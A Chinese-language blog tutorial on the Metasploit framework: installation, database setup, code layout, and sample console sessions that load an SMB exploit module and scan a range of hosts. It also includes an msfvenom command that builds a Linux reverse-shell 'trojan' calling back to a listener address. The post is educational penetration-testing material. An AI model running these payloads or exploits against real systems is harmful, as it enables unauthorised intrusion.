F's Blog

博客 收藏夹
Metasploit

16 May 2014

Metasploit 将渗透测试的过程标准化自动化,每一步都有相应的代码对应,并提供了基础库,可以很方便的扩展。

它是一个渗透测试的集大成者,即是工具,有时学习的框架。

直接从代码安装开发本版,升级和看源码都很容易,推荐。

使用的版本:metasploit v4.14.12-dev。

安装

development: &pgsql
  adapter: postgresql
  database: msf_dev_db
  username: msfdev
  host: localhost
  port: 5432
  pool: 5
  timeout: 5

# Production database -- same as dev
production: &production
  <<: *pgsql
  database: msf_production_db

# Test database -- not the same, since it gets dropped all the time
test:
  <<: *pgsql
  database: msf_test_db

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

上面的代码其实是下载最新的匹配安装包,把 Metasploit 安装到 /opt/metasploit-framework 目录下,然后将里面的 bin 目录加到 PATH 里。

之后就可以:

# 进入命令行
msfconsole

需要更新的话在 shell 里运行:

# 更新
msfupdate

配置

不管开发板还是社区版,配置文件在 $HOME/.msf4 下,可以去设置数据库等。

数据库

首先数据库不是必须的,但它很有用,能加快 search 和 存储结果。

启动 msfconsole 是首先会检查 $HOME/.msf4/db 目录,如果存在就会运行那里面的数据库程序,否则使用系统 PostgreSQL。

但无论用哪个数据库,数据库配置文件都是像 Rails 一样在配置 .msf4/database.yml 文件里配置。而且默认它们都是用的 production 的数据库配置,但可以在启动时通过 –environment 参数来选择环境。其实共用影响不大,因为主要起到索引,而且它是增量的。我喜欢用开发环境,因为可以直接 git pull 来升级 modules 里的内容,而不像 msfupdate 那样重新安装一遍。

# lib/metasploit/framework/parsed_options/base.rb
# If RAILS_ENV is set, then it will be used, but if RAILS_ENV is set and the --environment option is given, then
# --environment value will be used to reset ENV[RAILS_ENV].
options.environment = ENV['RAILS_ENV'] || DEFAULT_ENVIRONMENT

第一次打开 msfconsole,它会自动创建数据库的。不修改 database.yml 的情况下,第一次启动,它发现没有数据库,会默认创建 db 目录的。

也可以在外部创建 .msf4/db 下的数据库:

$ msfdb init

After the database starts, you can use any of the following commands to manage the database:
msfdb reinit: Deletes and reinitializes the database.
msfdb delete: Deletes the database.
msfdb start: Starts the database.
msfdb stop: Stops the database.
msfdb status: Shows the database status.

其实这样将 MSF 的数据库单独存放挺好的,和自己使用的不冲突。在打开 msfconsole 时才打开数据库服务,启动嵌入的数据库 /opt/metasploit-framework/embedded/bin/postgres,并监听 5433 端口,但退出时不会自动关闭。(PostgreSQL 数据库服务并没有什么特别之处,一个可执行文件加配置文件就可以嵌入进来)

如果显示 ‘Module database cache not built yet, using slow search’,则需要更新查找缓存:

msf > db_rebuild_cache

有了数据库,就有了 workspace 来存数据了。

这里有更详细用法。

自定义

可以在 $HOME/.msf4 的以下目录自定义相应的内容:

然后在 msfconsole 中重新加载:

reload_all

其它命令

# 生成一个木马程序
msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.0.1 LPORT=443 -b "\x00" -f elf -o /tmp/evil/evil

基础

使用

msfconsole 主要使用步骤:

一个例子

进入命令行:

msfconsole

exploit 都存在 modules/exploits 目录里。

使用时,在命令行里:

msf > use  exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > help
...snip...
Exploit Commands
================

    Command       Description
    -------       -----------
    check         Check to see if a target is vulnerable
    exploit       Launch an exploit attempt
    pry           Open a Pry session on the current module
    rcheck        Reloads the module and checks if the target is vulnerable
    reload        Just reloads the module
    rerun         Alias for rexploit
    rexploit      Reloads the module and launches an exploit attempt
    run           Alias for exploit

msf exploit(ms09_050_smb2_negotiate_func_index) >

Scan —— 扫描

Scanners and most other auxiliary modules use the RHOSTS option instead of RHOST. RHOSTS can take IP ranges (192.168.1.20-192.168.1.30), CIDR ranges (192.168.1.0/24), multiple ranges separated by commas (192.168.1.0/24, 192.168.3.0/24), and line separated host list files (file:/tmp/hostlist.txt). This is another use for our grepable Nmap output file.

Note also that, by default, all of the scanner modules will have the THREADS value set to ‘1’. The THREADS value sets the number of concurrent threads to use while scanning. Set this value to a higher number in order to speed up your scans or keep it lower in order to reduce network traffic but be sure to adhere to the following guidelines:

Keep the THREADS value under 16 on native Win32 systems Keep THREADS under 200 when running MSF under Cygwin On Unix-like operating systems, THREADS can be set to 256.

扫描 smb 版本:

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(smb_version) > set THREADS 11
THREADS => 11
msf auxiliary(smb_version) > run

Meterpreter

编写自己的 exploit

做到极简隐秘等,并尽量利用已有的库:

-Capture – sniff network packets -Lorcon – send raw WiFi frames -MSSQL – talk to Microsoft SQL servers -KernelMode – exploit kernel bugs -SEH – structured exception handling -NDMP – the network backup protocol -EggHunter – memory search -FTP – talk to FTP servers -FTPServer – create FTP servers

只需要继承相应的类,重写 initialize 和 run、exploit 和 check 方法。

并且 Metasploit 提供了很多好用的库,比如 TCP 网络链接的,编码的,模糊测试的等等。

代码分析

目录结构

data: Metasploit 使用的可以编辑的文件。
documentation: 具体的开发使用文档。
external: 源码及第三方库。
lib: 构建 Metasploit 框架的“肉”
modules: 真正的 MSF modules
  - auxiliary 没有 payload 的 exploit
  - exploit 攻击
  - payload 打开最小缺口
  - post 攻击后的进一步操作,比如权限提升、种马等
plugins: 在运行时可以载入的插件
scripts: Meterpreter 以及其它脚本
tools: 多种有用的命令行集合

Libraries

The MSF libraries help us to run our exploits without having to write additional code for rudimentary tasks, such as HTTP requests or encoding of payloads.

0: Rex

The framework was designed to be as modular as possible in order to encour- age the re-use of code across various projects. The most fundamental piece of the architecture is the Rex library which is short for the Ruby Extension Library. Some of the components provided by Rex include a wrapper socket subsystem, implementations of protocol clients and servers, a logging subsys- tem, exploitation utility classes, and a number of other useful classes. Rex itself is designed to have no dependencies other than what comes with the default Ruby install. In the event that a Rex class depends on something that is not included in the default install, the failure to find such a dependency should not lead to an inability to use Rex.

1: Msf::Core

2: Msf::Base

metasploit-omnibus —— 安装包制作

使用的是修改过的 Chef 的 omnibus

不仅是 Metasploit 的代码,更是它这一套构建流程及嵌入 nmap、postgresql、ruby 等等运行环境打包进去的思想,最后自动生成一个跨平台可安装包。

看 Linux 下 Metasploit 的安装目录 /opt/metasploit-framework/

├── bin
│   ├── metasploit-aggregator
│   ├── msfbinscan
│   ├── msfconsole
│   ├── msfd
│   ├── msfdb
│   ├── msfelfscan
│   ├── msfmachscan
│   ├── msfpescan
│   ├── msfremove
│   ├── msfrop
│   ├── msfrpc
│   ├── msfrpcd
│   ├── msfupdate
│   └── msfvenom
├── embedded
│   ├── bin
│   ├── framework
│   ├── include
│   ├── lib
│   ├── postgresql-prev
│   ├── share
│   └── ssl

主要两个目录:

看一下 bin/msfconsole 的前几行:

#!/bin/sh
cmd=`basename $0`

CWD=`pwd`
SCRIPTDIR=/opt/metasploit-framework/bin
cd $SCRIPTDIR
EMBEDDED=$SCRIPTDIR/../embedded
BIN=$EMBEDDED/bin
FRAMEWORK=$EMBEDDED/framework

LOCALCONF=~/.msf4
DB=$LOCALCONF/db
DBCONF=$LOCALCONF/database.yml
cd $CWD

# ...

unset GEM_HOME
unset GEM_PATH
unset GEM_ROOT
unset RUBY_ENGINE
unset RUBY_ROOT
PATH=$BIN:$SCRIPTDIR:$PATH
if [ -e "$FRAMEWORK/$cmd" ]; then
  $BIN/ruby $FRAMEWORK/$cmd $db_args "$@"
else
  $BIN/ruby $BIN/$cmd $db_args "$@"
fi

可见首先就是设置环境变量,最后用设置的环境来执行 framework 里的代码。这些应该都是 omnibus 做的。

还是信息论的概念,对于一个系统,我们只要提供了足够必要的信息,剩下的就可以自动完成了。

相关

Empire

Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. It premiered at BSidesLV in 2015.

这里主要对 listener 说明:

那么问题来了,如果将 Host 设置为自己路由后的 ip 呢?首先用 native 打开监听,然后在生成一 meter 指向路由的 ip,当然还需要做端口映射。

感想

参考

本文由 付豪 创作,采用署名 4.0 国际(CC BY 4.0)创作共享协议进行许可,详细声明